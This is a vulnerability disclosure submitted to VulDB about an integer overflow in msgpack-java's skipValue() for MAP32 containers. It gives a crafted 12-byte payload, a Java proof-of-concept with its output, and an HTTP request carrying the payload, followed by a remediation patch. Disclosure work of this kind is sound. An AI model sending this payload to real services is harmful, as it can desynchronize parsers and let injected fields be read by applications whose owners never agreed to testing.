Submit #918498: msgpack msgpack-java <= 0.9.12 Integer Overflow or Wraparoundinfo

Titlemsgpack msgpack-java <= 0.9.12 Integer Overflow or Wraparound
Description| Field | Value | |-------|-------| | Project | msgpack-java | | Repository | https://github.com/msgpack/msgpack-java | | Affected Version | <= 0.9.12 | | Component | `msgpack-core` | | Class | `org.msgpack.core.MessageUnpacker` | | File | `msgpack-core/src/main/java/org/msgpack/core/MessageUnpacker.java` | | Vulnerable Line(s) | 578–579 | | Severity | Medium | | CVSS 3.1 Score | Base Score: 6.5 (MEDIUM) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L` | | CWE | CWE-190, CWE-20 | --- ## Vulnerability Description `skipValue()` skips a value using a `count` variable (initialized to 1). For a MAP32 container (`0xdf`), it reads a 32-bit element count and multiplies by 2: ```java // MessageUnpacker.java:578-579 case MAP32: count += readNextLength32() * 2; // TODO check int overflow break; ``` When `readNextLength32()` returns `0x40000000`: ``` 0x40000000 * 2 = 0x80000000 = -2147483648 (Integer.MIN_VALUE) count = 1 + (-2147483648) = -2147483647 ``` `count` becomes negative, `while (count > 0)` is immediately false, and `skipValue()` returns without consuming the map body. The cursor stays right after the MAP32 header. --- ## Root Cause `readNextLength32()` returns a signed `int`. Values ≥ `0x40000000` overflow when multiplied by 2 and produce a negative `count`. `while (count > 0)` exits silently and no exception is thrown. The `// TODO check int overflow` comment confirms the defect. --- ## Impact Parser state desynchronization from a silent `skipValue()` failure. After the overflow, the map body is not consumed. A subsequent read from the same stream consumes bytes intended to be skipped. Affected applications use `MessageUnpacker` directly and call `skipValue()` to skip unknown fields before reading later fields (forward-compatible RPC frameworks, game servers, IoT gateways). The Jackson integration (`MessagePackParser`) does not call `skipValue()` and is unaffected. --- ## Affected Code ```java // MessageUnpacker.java (skipValue, lines 518-587) private void skipValue(int count) throws IOException { while (count > 0) { byte b = readByte(); MessageFormat mf = MessageFormat.valueOf(b); switch (mf) { case MAP32: count += readNextLength32() * 2; // TODO check int overflow ← LINE 579 break; } count--; } } ``` --- ## Proof of Concept **Environment:** OpenJDK 25.0.2, macOS; msgpack-core 0.9.12 (built from source, commit ca3fa54c). **Payload (12 bytes):** `92 df 40 00 00 00 a5 70 77 6e 65 64` ``` Offset Hex Description 0x00 92 fixarray[2] - outer wrapper 0x01 df MAP32 format byte 0x02-05 40.. MAP32 size = 0x40000000 0x06 a5 fixstr(5) 0x07-0b 'p' 'w' 'n' 'e' 'd' ``` Test sequence: `unpackArrayHeader()` → `skipValue()` → `unpackValue()`. `skipValue()` returns with no exception, and the following `unpackValue()` reads `pwned`, confirming cursor desynchronization. ### POC Source **File:** `poc-project/src/main/java/org/msgpack/poc/Poc2_MAP32_IntegerOverflow.java` ```java package org.msgpack.poc; import org.msgpack.core.MessagePack; import org.msgpack.core.MessageUnpacker; import org.msgpack.value.ImmutableValue; public class Poc2_MAP32_IntegerOverflow { public static void run() throws Exception { byte[] testPayload = buildSkipTestPayload(); try (MessageUnpacker unpacker = MessagePack.newDefaultUnpacker(testPayload)) { unpacker.unpackArrayHeader(); unpacker.skipValue(); if (unpacker.hasNext()) { ImmutableValue nextVal = unpacker.unpackValue(); System.out.println("[VULNERABILITY CONFIRMED] Parser read injected data: " + nextVal); } } } // fixarray[2] { MAP32(size=0x40000000), fixstr "pwned" } static byte[] buildSkipTestPayload() { return new byte[]{ (byte) 0x92, (byte) 0xdf, 0x40, 0x00, 0x00, 0x00, (byte) 0xa5, 'p', 'w', 'n', 'e', 'd' }; } public static void main(String[] args) throws Exception { run(); } } ``` **Build & run:** ```bash MSGPACK_CORE=~/.m2/repository/org/msgpack/msgpack-core/0.9.12/msgpack-core-0.9.12.jar javac -cp "$MSGPACK_CORE" -d poc-project/target/classes \ poc-project/src/main/java/org/msgpack/poc/Poc2_MAP32_IntegerOverflow.java java --add-opens=java.base/java.nio=ALL-UNNAMED \ --add-opens=java.base/sun.nio.ch=ALL-UNNAMED \ -cp "poc-project/target/classes:$MSGPACK_CORE" \ org.msgpack.poc.Poc2_MAP32_IntegerOverflow ``` ### Verified Output ``` Array size: 2 Calling skipValue() on MAP32... [RESULT] skipValue() returned WITHOUT properly skipping the MAP! [VULNERABILITY CONFIRMED] Parser read injected data: pwned readNextLength32() returns: 0x40000000 = 1073741824 * 2 = -2147483648 (0x80000000) Result == Integer.MIN_VALUE: true ``` **Network vector:** ``` POST /api/msgpack HTTP/1.1 Content-Type: application/x-msgpack Content-Length: 12 \x92\xdf\x40\x00\x00\x00\xa5pwned ``` --- ## Remediation Use overflow-safe arithmetic: ```java case MAP32: { long mapSize = readNextLength32(); long added = Math.multiplyExact(mapSize, 2L); if (added > Integer.MAX_VALUE - count) { throw new MessageSizeException("MAP32 size overflow", mapSize); } count = (int)(count + added); break; } ``` Apply the same fix to the ARRAY32 branch (line 573). MAP16 and ARRAY16 use `readNextLength16()` (max 65,535) and cannot overflow. --- ## References - `msgpack-core/src/main/java/org/msgpack/core/MessageUnpacker.java`, lines 578–579 - CWE-190: https://cwe.mitre.org/data/definitions/190.html - CWE-20: https://cwe.mitre.org/data/definitions/20.html
Source⚠️ https://github.com/msgpack/msgpack-java/issues/1014
User
 wshi.24 (UID 98607)
Submission08/07/2026 09:47 (1 month ago)
Moderation09/13/2026 10:48 (1 month later)
StatusDuplicate
VulDB entry403122 [msgpack msgpack-java up to 0.9.12 MessageUnpacker MessageUnpacker.skipValue integer overflow]
Points0

Might our Artificial Intelligence support you?

Check our Alexa App!